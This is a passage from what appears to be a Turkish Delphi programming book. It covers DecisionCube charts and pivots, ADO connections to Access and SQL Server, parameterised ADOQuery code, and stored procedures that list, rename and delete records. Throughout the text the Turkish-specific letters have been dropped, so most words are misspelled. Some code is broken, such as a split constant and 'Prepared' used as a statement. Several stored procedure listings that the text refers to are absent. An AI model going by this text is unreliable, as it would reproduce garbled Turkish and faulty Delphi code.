Ekran grntsne dikkat edecek olursanz semi olduunuz stunlarn istediiniz yerde (satr veya stun) listelenmi olduklarn greceksiniz. Mous sa tuu ile stun balklarna (MAGAZAADI-GIDENFIRMA) tklarsanz gsterilecek olan stunlar deitirebilirsiniz. Tablo Kaytlarn Grafik eklinde Gstermek: imdiki amacmz zet tablo halinde oluturulan kaytlar grafik eklinde kullancya gstermeyi salamak olacaktr. Birinci adm Formunuzun zerine bir adet DecisionQuery kontrol yerletirerek zerine mous ila ift tklayn. Aadaki pencere alacaktr. Alan pencerede tm ilemleri Dimensions/Summaries yapranda gerekletireceiz.

188

Bu yzden Dimensions/Summaries yapran aktif hale getirip dier admlar izleyin.

Decision Query Editor penceresinde ilk olarak Database kutusu ierisinden tablonuzun ierisinde yer ald Alias ismini sein. Ardndan Table kutusunda o klasrde kaytl tm tablolar listelenecektir. zet grnt alacanz tabloyu sein. Tablonuzu setikten sonra, ierisinde yer alan tm stunlar List of Available Fields listesinde gzkecektir. MAGAZAADIGIDENFIRMA stunlarn seerek Dimensions penceresine, FATURATUTARI stununuda Sum seerek Summaries penceresine aktarn. SQL Query yaprana geerek Delphi nin oluturduu sorgu komutlarn inceleyebilirsiniz. Bu admda formunuza bir adet DecisionCube kontrol yerletirerek DataSet zelliine DecisionQuery1 deerini aktarn. Kaynaktaki bilgileri form zerindeki kontrollere aktarmak iin formunuza bir adet DecisionSource kontrol yerletirip DecisionCube zelliine DecisionCube1 deerini aktarn. Verileri listelemek iin formunuzun zerine yine DecisionCube yapranda yer alan DecisionGraph kontrol yerletirerek, DecisionSource zelliine DecisionSource1 deerini aktarn. Son olarak DecisionQuery1 kontrolne ait Active zelliini true yapp programnz altrn. Ekran grntnz aadaki ekilde oluacaktr.

189

Burada deinmek istediim dier bir hususta, DecisionGraph kontroln seip mousun sa tuuna tklarsanz, men alacaktr. Bu menden EditCharts seeneini tklarsanz aadaki pencere alacaktr. Bu pencerede Delphi kullandnz wizard sayesinde kendi serilerini otomatik olarak oluturmutur.

DecisionPivot Kontrol Kullanarak Senaryo Oluturmak: Ayn rneimiz iin imdi de yeni senaryolar retelim. Aadaki admlar teker teker inceleyiniz. Birinci adm Formunuzun zerine bir adet DecisionQuery kontrol yerletirerek zerine mous ila ift tklayn. Aadaki pencere alacaktr. 190

Alan pencerede tm ilemleri Dimensions/Summaries yapranda gerekletireceiz. Bu yzden Dimensions/Summaries yapran aktif hale getirip dier admlar izleyin.

Decision Query Editor penceresinde ilk olarak Database kutusu ierisinden tablonuzun ierisinde yer ald Alias ismini sein. Ardndan Table kutusunda o klasrde kaytl tm tablolar listelenecektir. zet grnt alacanz tabloyu sein. Tablonuzu setikten sonra, ierisinde yer alan tm stunlar List of Available Fields listesinde gzkecektir. MAGAZAADIGIDENFIRMA stunlarn seerek Dimensions penceresine, FATURATUTARI stununuda Sum seerek Summaries penceresine aktarn. SQL Query yaprana geerek Delphi nin oluturduu sorgu komutlarn inceleyebilirsiniz. Bu admda formunuza bir adet DecisionCube kontrol yerletirerek DataSet zelliine DecisionQuery1 deerini aktarn. Kaynaktaki bilgileri form zerindeki kontrollere aktarmak iin formunuza bir adet DecisionSource kontrol yerletirip DecisionCube zelliine DecisionCube1 deerini aktarn. Verileri listelemek iin formunuzun zerine yine DecisionCube yapranda yer alan DecisionGraph kontrol yerletirerek, DecisionSource zelliine DecisionSource1 deerini aktarn. Bu adm da formunuzun zerine DecisionPivot kontrol yerletirip DecisionSource zelliine DecisionDataSource1 deerini aktarn.

191

Son olarak DecisionQuery1 kontrolne ait Active zelliini true yapp programnz altrn. Ekran grntnz aadaki ekilde oluacaktr.

imdi GIDENFIRMA etiketine tklarsanz ekran grntnz aadaki pencere gibi oluacaktr (Firma isimlerinin gzkmediine dikkat ediniz).

Grntye dikkat edecek olursanz GIDENFIRMA stununa ait deerlerin yazlmadn grrsnz. Ayn ilemi MAGAZAADI stunu iinde gerekletirebilirsiniz. Deinmek istediim son nokta ayet SUM OF FATURATUTARI ksmna mous sa tu ile tklarsanz bir men alacak, bu menden dilediiniz seenei seebileceksiniz. 192

Ayn durum dier stun balklar iinde geerlidir. Yani MAGAZAADI stunu zerine mous sa tu ile tklarsanz aadaki gibi ek senaryo retmeniz iin gerekli yardmc menler alacaktr.

Grld gibi alan menden dilediiniz seenei seebilirsiniz. Delphi sizin yerinize uygun senaryoyu yaratacak sonucu ekranda gsterecektir.

193

194

BLM 7 ADO KONTROLLER

195

196

ADO Kontrolleri: Delphi uygulamalar gelitirilmesi srasnda Microsoft veritabanlarnda bulunan tablo kaytlar kullanlacaksa o zaman ADO kontrollerine ihtiya duyacaksnz. Aslnda Paradox dururken Microsoft Access a balanmak pek mantkl gzkmesede mecbur kaldnz dnelim ve balantnn nasl yaplabileceini gsterelim. Burada hatrlatmakta fayda var. ADO kontrollerine deinmemdeki ama Microsoft Access veri taban uygulamalar gelitirmek iin deil, daha byk uygulamalar gelitirme imkannzn bulunduu SQL Server veri taban uygulamalarn kullanmak amalanmtr. Bu dnceyle greceksiniz rneklerimizin neredeyse tamamnda SQL Server kullanlacaktr. Bilinmesi asndan ilk olarak Microsoft Access veri tabanna balandktan sonraki tm uygulamalarmz SQL Server zerinden gerekletireceiz. Adoconnection Kontrol: Genel amal olarak daha sonra anlatacam kontrollere bilgi datmak iin kullanlan bir kontroldr. Balanlacak olan veritaban bu kontrol sayesinde belirlenebilecektir. Balant ilemleri iin aadaki admlar izlemelisiniz. Formunuza ADO yapranda yer alan bir adet Adoconnection kontrol yerletirin. Bu kontrol seip Object Inspector penceresinden ConnectionString zelliine tklayn. Aadaki pencere alacaktr.

Bu pencerede Use Connection String iaret dmesi seili iken Build dmesine tklayn. Aada gzkt ekilde yeni bir pencere alacaktr. Bu pencerede balant salayacanz veritaban ilemlerini destekleyen motoru semek durumundasnz. ayet Microsoft Access veritaban balants 197

oluturacaksanz Microsoft 4.0 Jet OLE DB Provider seeneini semelisiniz. Eer SQL Server a balansaydnz o zaman da Microsoft OLE DB Provider SQL Server seeneini semeniz gerekecekti.

Seeneinizi belirttikten sonra Provider yaprana gein. Bu yaprakta balant trnz kullanarak kaytlarna ulaacanz tablolarnz veya Query lerinizi belirlemelisiniz. Veri Taban balant eklini belirledikten sonra ADO yapranda yer alan Table-QueryStoredProc kontrollerini kullanarak Adoconnection sayesinde bu Access dosyasna eriebileceksiniz. Provider penceresinde ilk olarak Select or enter a database name ksmna balanacanz veritabannn ismini girin veya sein (yoluyla beraber). Dosya eriimi iin belirlenen bir ifre varsa girmelisiniz. ayet yetkili bir ahssanz ifre ksmn geebilirsiniz. Bu pencerede son olarak balantnn baarl bir ekilde gerekleip gereklemediini belirlemeniz iin Test Connection dmesine tklayn. Balantnn baarl bir ekilde gerekletiini belirten uyar mesajyla karlarsanz, ilem tamamlanm demektir.

198

Artk OK Buttonuna tklayabilirsiniz. Balant kurulmu olup dier admlar atmanz beklemektedir.

Daha nce am olduunuz pencerede balant yeriniz gzkecektir. Tekrar OK Buttonuna tklayn. ADOConnection1.Connected Balantnn var olup olmadn belirleyen zelliidir. Boolean tip bir deiken deeri alabilen bu zelliin true deerini dndrmesi balantnn var olduunu, false deerini dndrmesi ise balantnn ak olmadn gsterecektir. ADOConnection1.LoginPrompt Her balant kurulmaya alld zaman ifre penceresinin alp almayacan belirleyen zelliidir. Varsaylan deeri true dur ve her defasnda pencere alacaktr. procedure TForm2.FormCreate(Sender: TObject); begin ADOConnection1.LoginPrompt:=false; end; 199

ADOTable Kontrol: Bu kontrol Adoconnection kullanarak veya direk olarak (Biz hep Adoconnection kullanmanz tavsiye ediyoruz) Microsoft veritabanlarna balanmak iin kullanlmaktadr. ADOTable1.Connection Adoconnection kontroln kullanarak veritabanna balanmay salayan zelliidir. procedure TForm1.FormCreate(Sender: TObject); begin ADOTable1.Connection:=ADOConnection1; end; Dilerseniz bu aktarabilirsiniz. zellie Object Inspector penceresinden deer de

ADOTable1.TableName Veri Tabanlar ierisinde birden fazla tablo veya Query bulunabilecei iin bu zellikle hangi tablonun kullanlaca belirlenmelidir. procedure TForm1.FormCreate(Sender: TObject); begin ADOTable1.Connection:=ADOConnection1; ADOTable1.TableName:='MAGAZATABLOSU.MDB'; end; Yine ayn ekilde dilerseniz Object Inspector penceresinden de deer atayabilirsiniz. Microsoft Access Veri Tabanna Balanmak: Yukardaki iki kontrol formunuza yerletirip gerekli tablo balantsn saladktan sonra formunuza bir bir adet Data Access yapranda yer alan DataSource nesnesi yerletirin. DataSource kontrolne ait DataSet zelliine ADOTable1 deerini aktarn. Son olarak kaytlarn gzkebilmesi iin formunuza bir adet DataGrid nesnesi yerletirerek , DataSource zelliine DataSource1 ieriini aktarn.

200

Belirtilen ayarlar yaptktan sonra programnz altrrsanz yukardaki ekilde bir ekran grntsyle karlarsnz. Buradan sonraki ilemler daha nce gsterdiimiz ekilde gerekletirilebilir. SQL Server le almak: Delphi nin en uyumlu alma ortamn Oracle veye Paradox ile oluturduunu daha nce belirtmitik. Fakat Trkiye artlarnda orta lekli firmalarn ou SQL Server kullanmaktadr. Bu hususta programclarn yeterince kaynak bulamadklar da bir gerek, sizlere karlatnz bu skntlar atlatmak iin detayl aklamalar getireceim. A ortamnda (helede uygulama biraz karmaksa) Ufak lekli veri taban programlaryla alrsanz muhakkak belirli yerlerde programn performansndan (veya dier etkinliklerinden) dn vermek zorunda kalacaksnz. Gvenlii, performans ve dier hususlar maximum dzeye karabilmeniz iin bu tr byk lekli bir Veri Taban uygulamasyla almalsnz.Borland bu tr yazlmlarn lisanslar ok yksek cret tutabildii iin, network ortamnda etkinlii artrmay InterBase server kullanarak halletmeye almtr. SQL Server veya Oracle kullanarak yazlm gelitirirseniz, programa daha sonra mdahale etme ansnz olacaktr (ara yze deil). Buda arayzlerde hi bir deiiklik yapmadan, eklenebilecek yeniliklere upgrate edilme ansn douracaktr. Ben de bugne kadar yapm olduum yazlmlarn ounda SQL Server balants kullandm. SQL Server a Access balantsn yaptnz kontrollerle kolayca balanabilirsiniz. Daha nce Microsoft Access a balandmz ADOTable, 201

ADOQuery veya ADOStoredProc kontrollerinden herhangi bir tanesini kullanabilirsiniz. ADOTable kontrolne rnek yaptmz iin bu sefer ADOQuery kullanarak balant salayacaz. Bahsedilen balant kontrollerinin tamamn rneklendirmekle beraber zellikle ADOStoredProc kontrolne daha detayl olarak deineceim. Sebepleri basittir. Birincisi Stored Procedurler ilk altklar anda bir kere derlenirler, ikinci kez arldklarnda sadece parametre gnderimi sz konusudur, tekrar derlenme olmayacaktr. Peki bu ne demek, ikinci arlmada tekrar derlenme olmayaca iin network trafii azalacak, kaytlar daha hzl bir ekilde sorgulanacaktr. kinci nemli sebep ise StoredProcedur fonksiyonlar ok gelimitir (Query ler Standart SQL Komutlarn kullanabilmektedir), Standart SQL komutlarnn yannda, Bilgisayar dillerinin kulland bir ok fonksiyonuda ierisinde kullanabilmektedir. Bu yzden isteinize uygun verileri Stored Procedur ler ile ok daha rahat elde edebilirsiniz. Sanyorum bahsettiim bu olaylar, bu kontrol kullanmanz iin yeterli sebep tekil edecektir. Uygulamaya gemeden nce SQL Server uygulamasnn alr vaziyette olduunu kontrol ediniz. Bu ilem iin Start->Programs->Microsoft SQLServer->Service Manager admlarn izleyerek aacanz aadaki pencereden (ayet almyorsa) Start dmesine basmanz yeterli olacaktr (Hatrlatalm SQL Server altrabilmeniz iin yetkili bir grubun yesi olmanz gerekmektedir. Bu husus u anki konumuz deil).

Bu pencere de Server ksmnda SQL Server programnn ykl olduu bilgisayarn ismi, Services ksmn da ise altracanz servisin ad yazl halde bulunacaktr. Adoconnection Kontroln Kullanarak SQL Servera Balanmak: ADOQuery-ADOTable-ADOStoredProc kontrolleri ile direk balant yerine Adoconnection kontrol ile SQL Server veritabanna balanp dier 202

kontrollere kaytlar buradan aktarrsanz uygulamanz daha derli toplu olacaktr. Balant ilemi iin aadaki admlar izlemelisiniz. Birinci adm formunuza bir adet Adoconnection kontrol yerletirip, ConnectionString zelliine tklayn. Aadaki pencere alacaktr.

Use Connection String seili iken Build dmesine tklayn. Aadaki gibi balant trn seebileceiniz pencere alacaktr. Bu pencerenin Provider yaprandan Microsoft OLE DB Provider for SQL Server seeneini seerek Connection yaprana gein.

Connection yaprana gemek iin Next dmesine de basabilirsiniz 203

Bu pencerede Select or a Server name ksmndan balanacanz SQL Server makinesinin ismini sein.

Ayn pencerede ikinci olarak Select the database on the server ksmndan bellirttiiniz bilgisayarn ierisinde oluturmu olduunuz tablonun bulunduu database i sein. Test Connection dmesine basarak balant ileminin baarl bir ekilde gerekleip gereklemediini kontrol edin.

OK e tklayn. OK tklayp bitirin. Bu admlardan sonra EFSANE isimli bilgisayarda oluturulmu olan gazi isimli database ierisindeki tm tablolara Adoconnection kontrol kullanlarak eriilebilir. Biz rneklerinmiz iin bu database ierisinde SERVIS isimli tablomuzu oluturduk. Bu tabloya balanacaz.

204

ADOQuery Kontrol: Bu kontrol sayesinde Microsoft veri tabanlarna Standart SQL sorgu komutlarn kullanarak balanabilirsiniz. Direk komutlar veri tabanna gnderebileceiniz gibi Adoconnection kontrolne balanarak ta sorgu oluturabilirsiniz. ADOQuery1.Connection Hangi veri tabanna balanlacan belirleyen zelliidir. ayet balant ileminde Adoconnection nesnesi kullandysanz bu zellikte onu belirtmelisiniz. Kodla veya Object Inspector penceresinden ayarlayabilirsiniz. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; end; Bu kodlamadan sonra Adoconnection nesnesinin balant salad database ierisindeki tm tablo lar kolayca sorgulanabilir. ADOQuery1.SQL.Add Tablolardan gsterilmesini istediiniz stunlar ve kriterleri belirlemek iin oluturacanz Standart SQL komutlarn aktarabileceiniz zelliidir. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Add('Select * From SERVIS'); end; ADOQuery1.Active Kaytlara ulaabilmek iin sorgunuzu oluturmanz yetmez. Sorgu komutlarnz doru bile olsa ardndan Active zeliine true deerini aktarmak zorundasnz. procedure TForm2.FormCreate(Sender: TObject); begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Add('Select * From SERVIS'); ADOQuery1.Active:=TRUE; end;

205

ADOQuery Kontrolne Programdan Parametre Gndermek: Sorgulama ileminde dilerseniz (neredeyse hep byle olacak) formunuzun zerinde bulunan kontrollerin deerinden de faydalanabilirsiniz. Kontroldeki deeri ADOQuery kontrolnn Parameters methoduna aktarmanz yeterli olacaktr. ADOQuery1.Parameters[].Value Parametre olarak kullanacanz deeri aktaracanz methoddur. Keli pantez ierisine parametrenin index (kanc parametre olduu) numarasn girmeniz gerekmektedir. procedure TForm2.Button1Click(Sender: TObject); //Edit e Gre Sorgula begin ADOQuery1.Connection:=ADOConnection1; ADOQuery1.SQL.Clear; ADOQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG');//bir adet parametre yaratld ADOQuery1.Parameters[0].Value:=Edit1.Text;//ilk parametre deeri ADOQuery1.Active:=TRUE; end;

Program altrp Edit kutusunun ierisine MIGROS deerini yazn. Arkasndan Sorgula isimli dmeye tklayn. Sadece MIGROS maazalarnn listelendiini greceksiniz. Bu uygulama iin formunuzun zerine 206

bir adet DataSource ve bir adette DataGrid nesnesi yerletirip, DataSource kontrolnn DataSet zelliine AdoQuery1 deerini DataGrid nesnesinin DataSource zelliine de DataSource1 deerini aktarmalsnz. Unutmaynz Veri Tabanna balanp kaytlar kontrollere aktardktan sonraki alma, hepsi iin ayn mant iermektedir. SQL Server a, Accessa veya Paradoxa sadece balant ekilleri deiik olacaktr. Balanldktan sonraki alma mant neredeyse ayn denilebilecek kadar benzerdir. ADOStoredProc Kontrol: Bu kontrol sayesinde SQL Server da oluturulmu olan Stored procedur lere kolayca balanabilirsiniz. Sylemitik Stored Procedur ler dier (Table,Query) balant kontrollerine gre daha hzl sonu verirler. Bu yzden bir ok durumda tercih sebebiniz olmaldr. Bu blmde ilk olarak Stored Procedur leri SQL Server ierisinde nasl oluturabileceinizi gstereceim. Daha sonrada program ierisinden Stored Procedur lere nasl parametre gnderebileceinizi izah edeceim. SQL Serverda Stored Procedure Oluturmak: Stored procedurler genellikle SQL Server ierisinde (veya Oracleda) oluturulurlar. SQL Server programn ykledikten sonra Start->Programs>Microsoft SQL Server->EnterPrise Manager admlarn izleyerek daha nce ierisinde gazi database ini oluturduunuz pencerenin almasn salayn.

207

Bu pencerede Database klasr ierisinde oluturmu olduunuz gazi database inin solundaki + iaretine tklayarak ierisindeki dier yaplar grntleyin. Buradaki Tables ve Views daha nce anlatm olduumuz tablo ve Query balantlar iin kullanlmaktadr. Biz Stored Procedure balants gerekletireceimiz iin gazi database i ierisinde yer alan Stored Procedures seeneini sein. Sa taraftaki beyaz ekranda mousun sa tuuna tklayp alan menden New Stored Procedure seeneini sein. Aadaki pencere alacaktr. Stored Procedure kodlarn buradaki beyaz pencere ierisine yazmalsnz.

imdi parametre iermeyen ilk basit Stored Procedur kodlarn yazp Delphi ierisinden balant ilemini gerekletirelim. Beyaz ekrandaki kodu aadaki ekilde deitirin.

OK dmesine basn Stored Procedur nz beyaz ekranda ilkornek ismiyle kaydedilecektir (kontrol edin). 208

Stored Procedure ait kodu yazdktan sonra Check Syntax dmesine basarak kodda bir hata olup olmadn kontrol ettirin. ayet dmeye bastktan sonra aadaki ekilde Syntax check successful! uyarsyla karlarsanz yazdnz kodda bir hata olumadn dnebilirsiniz.

Yazdmz Stored Procedur e ait kodlamada iki adet stun oluturulmakta (ok basit olduunu belirteyim. Daha sonra kodlar zorlatracam), birinci MAGAZAADI stunu, ikincisi ise ayn stunun kk harfle yazlm hali olacaktr. Delphi erisinden Stored Procedurlere Ulamak: SQL Server ierisinde oluturmu olduunuz Stored Procedure ulamak hi te zor deil, aadaki admlar izlemeniz yeterli olacaktr. Birinci admda formunuzun zerine bir adet Adoconnection kontol yerletirip Connection String zelliine daha nce anlattmz ekilde gazi database ini aktarn. kinci admda formunuza ADO yapranda yer alan ADOStoredProc kontrolnden bir adet srkleyin. Bu kontrole ait dier ayarlar kod penceresinden yapacaz. sterseniz Object Inspector penceresinide kullanabilirsiniz. nc admda formunuza bir adet DataSource nesnesi yerletirip DataSet zelliine ADOStoredProc1 kontroln aktarn.

209

Drdnc admda formunuza bir adet DataGrid nesnesi yerletirerek DataSource zelliine DataSource1 kontroln atayn. En son tasarm grntnzn aadaki ekilde olumas gerekecektir.

Son olarak aadaki kod blounu formunuzun OnCreate yordamna eklemelisiniz. procedure TForm3.FormCreate(Sender: TObject); begin ADOStoredProc1.Connection:=ADOConnection1;//kaynak ADOStoredProc1.ProcedureName:='ilkornek';//balanlacak olan prosedr ADOStoredProc1.Active:=true;//unutmayn end; Artk programnzaltrabilirsiniz. Program alturdktan sonra aadaki ekilde bir ekran grntnzn olumas gerekecektir.

Grld gibi Stored procedur ierisinde yazdmz kodlar sonucu MAGAZAADI stunu ile, kk harfe evrilmi halini grntleyebildik. 210

Parametre eren Stored Procedure Oluturmak: EnterPrise Manager penceresinde gazi isimli database ierisinde bulunan Stored Procedure satrna mous sa tuu ile tklayp New Stored Procedure penceresini atrn.

Bu pencereye yukardaki kodu ekleyiniz. Dikkat edin prosedrn ismi para parametreside @magaza olarak belirlenmitir. imdi Delphi ierisinden para isimli Stored Procedure balanarak @magaza isimli parametreye deer gndereceiz. Bu sayede projede belirttiimiz maaza ismine ait servisleri listelemi olacaz. Programdan Stored Procedure Parametre Deeri Gndermek: Bu blmde SQL Server ierisinde oluturmu olduunuz parametre ieren Stored Procedur e programdan nasl parametre deeri gnderebileceinizi gstereceim. Yukarda oluturmu olduumz Stored Procedure balanarak rnek zerinde bu ilemi sizlere gstermek istiyorum. Birinci admda formunuza bir adet AdoConnection kontrol yerletirip gazi isimli database balann. kinci admda formunuza bir adet ADOStoredProc kontrol yerletirip Object Inspector penceresinden Connection zelliine Adoconnection1 kontroln, Procedure Name zelliine de para isimli Stored Procedur nz aktarn.

211

nc admda formunuza bir adet DataSource nesnesi yerletirerek DataSet zelliine ADOStoredProc1 kontroln aktarn. Drdnc admda formunuza bie adet DataGrid nesnesi yerletirerek DataSource zelliine DataSource1 kontroln aktarn. Son olarak formunuza bir adet Edit ve bir adet Button kontrol yerletirip aadaki tasarm oluturunuz.

Aadaki kod blounu Button kontrolnn OnClick yordamna ekleyiniz. procedure TForm4.Button1Click(Sender: TObject); begin ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.ExecProc; ADOStoredProc1.Active:=true; end; Artk programnz altrabilirsiniz. Edit kontrolne gireceiniz maazaya yaplm olan servisler listelenecektir. Burada dikkatinizi ekmek istediim bir husus olacak, yukardaki uygulamay altrdnz zaman birinci seferde yazm olduunuz maaza ismini kolayca listeletebilirsiniz. kinci kez baka bir parametre yazp Gnder isimli dmeye tklarsanz kaytlarnzn deimediini greceksiniz. Aslnda Stored Procedure parametre deeri gnderilip sonu bulunmutur, fakat gncelleme ilemi yaplamamtr(genellikle DBGrid1.refresh komutunun bu ilemi halledecei dnlsede bu doru deildir. Yeniden oluturulan sorguya balanmak gerekecektir). Bu yzden kodunuzu aadaki ekilde deitirmeniz gerekecektir.

212

procedure TForm4.Button1Click(Sender: TObject); begin ADOStoredProc1.Active:=FALSE; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Prepared; ADOStoredProc1.Active:=true; end;

imdi istediiniz parametreleri girip projenizi altrabilirsiniz. Her defasnda farkl maaza isimleri listelenecektir. leri Dzey Stored Procedur Uygulamalar: Yava yava dozaj artrarak (yazm olduum programlarn yannda bunlar ocuk oyunca kalacak ama, henz piyasa tecrbesi olmayan programclar iin ok gzel bir gei aamas olacak) gelimi Stored Procedure rnekleri yapacam. Aadaki rnekler iin hep ayn tasarm kullanacaz. Her defasnda bu ilem anlatlmayacaktr. Stored Procedur Kullanarak Kaytlar Deitirmek: imdiki uygulamamzda Stored Procudur e parametre deeri gndererek istediimiz maaza ismine yeni isim verebileceiz. Yaplan ilemin sadece parametre gndermek olduu kodlamadan dikkatinizi ekmitir sanrm. Yazacanz ok gelimi Stored Procedur leri bu ekilde sadece parametre gndererek altrmanz performansnz maximum deere tayacaktr. Aadaki Stored Prosedur ierisinde, gnderilen iki parametre deeri sayesinde (bu parametre deerleri forma yerletirilen iki adet Edit kontrolnden belirlenmektedir) maaza ismi deitirilmekte ikinci parametre deeri yeni maaza ismi olmaktadr. 213

imdi vereceimiz Stored Procedur SQL Server ierisinde daha nce gsterilen admlar izleyerek oluturunuz.

Stored Procedur kodlarn inceleyecek olursak, ismi degistir olarak belirlenmitir. Ardndan @oncekideger ile @yenideger isminde iki adet parametre tanmlamas yaplmtr. Birinci parametre deerini programdaki Edit1 kontrolnden, ikinci parametrede Edit2 kontrolnden alacaktr. Birinci parametreyle gnderilen maaza ismine sahip tm maazalar, ikinci parametredeki deer ile deitirilip, yeni tablo komple listelenmek istenmitir.

Program altrdktan sonra Deitir isimli dmeye basarsanz, Tm

214

BAKKALIM maazalar SOK olarak deiip listelenecektir. Programa ait kod blou aada verilmitir. procedure TForm5.Button1Click(Sender: TObject); //Deitir begin
ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@oncekideger').Value:=Edit1.Text; ADOStoredProc1.Parameters.ParamByName('@yenideger').Value:=Edit2.Text; ADOStoredProc1.Active:=true;

end; Stored Procedur Kullanarak Kayt Silmek: imdiki uygulamamzda Stored Procedur e gndereceimiz parametreye uyan maaza isimlerini tablodan silme ilemini gerekletireceiz. Aadaki Stored Procedur SQL Server ierisinde oluturunuz.

Prosedrn ismi sil silinecek maaza ismini gndereceiniz parametrenin ismide @magaza olarak belirlenmitir. Kritere uyan kaytlar silindikten sonra tm tablonun tekrar listelenmesi iin yeni SQL komutu altrlmaktadr. Hatrlatalm bu tr toplu deitirme ve silme ilemlerinde Transaction kullanmak veri gvenliini nemli lde artracaktr (Bu husus daha nceki blmlerde anlatld. SQL Server ierisindende yaptrabilirsiniz).

215

Uygulama iin formunuza bir adet AdoConnection, bir Adet ADOStoredProc, bir adet DataSource, bir adet DbGrid, bir adet Edit ve bir adet Button yerletirip gerekli balantlar nceki rnekte olduu gibi yapnz. procedure TForm6.Button1Click(Sender: TObject); //Sil begin ADOStoredProc1.Connection:=ADOConnection1; ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Active:=true; end;

Program altrp Edit kontrolne maaza ismini girin. Ardndan Button kontrolne tklayabilirsiniz. Yazdnz maaza isminin silindiini greceksiniz. Aslnda kodu aadaki ekilde yazmanz daha gvenli olacaktr. procedure TForm6.Button1Click(Sender: TObject); //Sil var mesaj:Integer; begin mesaj:=Application.MessageBox('Eminmisiniz','Sil',MB_YESNO+MB_ICONS TOP); if mesaj=mrYes Then begin ADOStoredProc1.Connection:=ADOConnection1; 216

ADOStoredProc1.Active:=false; ADOStoredProc1.Parameters.ParamByName('@magaza').Value:=Edit1.Text; ADOStoredProc1.Active:=true; ShowMessage('Kaytlar Baaryla Silindi'); End else begin ShowMessage('Silme lemi ptal Edildi'); end; end; Bu sefer kullancdan gerekleecektir. onay alndktan sonra kayt silinme ilemi

Stored Procedure le Hesaplanan Deerleri Deikenlere Aktarmak: Aadaki Stored Procedure ierisinde FATURATUTARI stununa ait toplam hesaplanmaktadr, peki hesaplanan bu deeri form zerindeki kontrollerde nasl gstereceiz. Aada bu husus rneklendirilmektedir. ncelikle verilen Stored Procedur SQL Server ierisinde oluturunuz.

Ardndan formunuzun zerine AdoConnection, AdoStoredProc, DataSource, Panel ve Button Kontrollerini yerletirerek aadaki tasarm oluturunuz.

217

Panel kontrol formun estetik grnm iin eklenmitir. Sizde uygulamalarnzda gzel grnm elde etmek iin arya kamamak artyla bu kontrollerden yararlannz.

Forma eklediiniz kontroller iin gerekli balantlar yapn (ADOStoredProc kontroln toplam isimli prosedre balayn). Aadaki kodlarda Unit pencerenize ekleyiniz. procedure TForm7.Button1Click(Sender: TObject); //Stun Toplamn Yazdr var yeni:TDBEdit; begin yeni:=TDBEdit.Create(Form7);//yarat yeni.DataSource:=DataSource1; yeni.DataField:='COLUMN1';//ilk kolon Form7.Caption:='Toplam Fatura Tutar='+yeni.Text; end;

Program altrdktan sonra Hesapla isimli dmeye tklarsanz yukardaki pencere grntsne ularsnz. Balkta yazan deer SUM(FATURATUTARI stnu iin hesaplanan deerdir.

218

Stored Procedure Fonksiyonlar: imdi sizlere SQL Server da Stored Procedure kullanabileceiniz extra komutlar vermek istiyorum. String Fonksiyonlar: String ilemlerini yapabilmek iin kullanabileceiniz fonksiyonlar aada verilmitir.
Fonksiyon Ad: ASCII CHAR LEFT LEN LOWER LTRIM REPLACE RIGHT RTRIM SPACE SUBSTRING lem Belirtilen stun deerinin Ascii deerini verir Belirtilen stun deerinin karakter karln verir Belirtilen stun ieriinin solundan n karakteri alr. Belirtilen stunun ka karakterden olutuunu bulur Belirtilen stun deerini kk harfe evirir. Belirtilen stundaki sol boluklar atar Belirtilen stun ierisindeki stringlerin yerini deitirir Belirtilen stun ieriinin sandan n karakteri sker Belirtilen stundaki sa boluklar atar Belirtilen sayda boluk oluturmak iin kullanlr Belirtilen stun ierisinden para skmek iin kullanlr

olutururken

Matematiksel Fonksiyonlar: Stored Procedurler ierisinde matematiksel hesaplar iin kullanabileceiniz fonksiyonlar aada verilmitir.
Fonksiyon Ad: ABS CEILING DEGRESS FLOOR POWER RAND SQUARE SQRT lem Belirtilen stundaki deeri pozitife evirir Belirtilen stun deerini bir st tamsayya yuvarlar Belirtilen stun deerini dereceye evirir. Belirtilen stun deerini bir alt tam sayyayuvarlar Belirtilen stun deeriniN kuvvetini almak iin kullanlr. 0-1 Arasnda rasgele say retmek iin kullanlr. Kare almak iin kullanlr Karekk almak iin kulanlan komuttur.

Tarih-Zaman Fonksiyonlar: Tarih-Zaman ilemlerini gerekletirebilmek iin aadaki fonksiyonlar kullanabilirsiniz.


Fonksiyon Ad: DATEADD GETDATE DAY MONTH YEAR Aktif tarihi hesaplar Gn saysn bulur Tarih ierisindeki ay saysn bulur. Belirtilen tarih ierisindeki yl saysn hesaplar lem Tarihe gn eklemek iin kullanlr

219

ADODataSet Kontrol: Tablo bilgilerini form kontrollerinin kullanabilmesi, kaytlar DataSource nesnesine aktarmak iin kullanlan kontroldr. Table, Query kontrollerine benzer zellikler tamaktadr. Direk tabloya balanabilecei gibi Adoconnection nesnesi araclyla da tabloya balanabilir. ADODataSet1.Connection Tabloya arac kullanarak balanmak istenirse bu zellie AdoConnection nesnesinin ismi aktarlmaldr. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Connection :=ADOConnection1; end; ADODataSet1.CommandText Tabloyu sorgulayacak olan SQL komutlar bu zellie aktarlmaldr. procedure TForm8.Button1Click(Sender: TObject); begin ADODataSet1.Connection :=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; end; ADODataSet1.First ADODataSet kontrolnde yer alan kaytlar ierisinde ilk kayda gitmeyi salayan methoddur. procedure TForm8.Button1Click(Sender: TObject); //ilk kayt begin ADODataSet1.Connection :=ADOConnection1; ADODataSet1.CommandText:='Select FATURATUTARI From SERVIS'; ADODataSet1.First; end;

220

